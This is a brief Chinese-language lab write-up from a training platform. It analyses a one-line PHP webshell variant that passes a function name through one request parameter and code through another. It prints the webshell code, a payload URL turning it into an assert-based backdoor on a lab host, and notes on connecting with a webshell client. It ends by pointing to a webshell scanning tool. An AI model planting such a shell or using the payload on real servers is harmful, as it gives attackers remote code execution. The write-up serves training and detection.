WebShell代碼分析溯源(一)
一、一句話變形馬樣本
<?php $_GET['POST']($_POST['GET']);?>
二、代碼分析
1、調整代碼格式
<?php
$_GET['POST']($_POST['GET']);
?>
2、分析代碼,首先以GET方法接收url中POST參數傳遞的值,然后又以POST方法接收GET參數傳遞的值,因此可以構造payload:http://www.test.com/test.php?POST=assert,這樣就相當於一句話木馬變成這樣: <?php assert($_POST['GET']);?>
注:不能使用eval,eval與assert的區別:
eval函數中參數是字符,eval並不支持可變變量形式
assert函數中參數為表達式 (或者為函數)
參考:
https://www.anquanke.com/post/id/173201/
https://blog.csdn.net/whatday/article/details/59168605
三、漏洞環境搭建
1、這里使用在線學習平台墨者學院中的實驗環境(WebShell代碼分析溯源(第1題)),地址: https://www.mozhe.cn/bug/detail/TkhnOVovVm14KzV6aTN5K2d1dFZ0Zz09bW96aGUmozhe
2、代碼環境,下載代碼
3、找到webshell代碼處,然后分析(上面已經分析過了)
4、構造payload,然后使用菜刀連接
Payload: http://219.153.49.228:49785/www/cn-right.php?POST=assert
四、后記
學習常用webshell掃描檢測查殺工具---WebShellKillerTool (深信服webshell掃描檢測引擎),網址: http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip
使用深信服WebShellKillerTool進行webshell查殺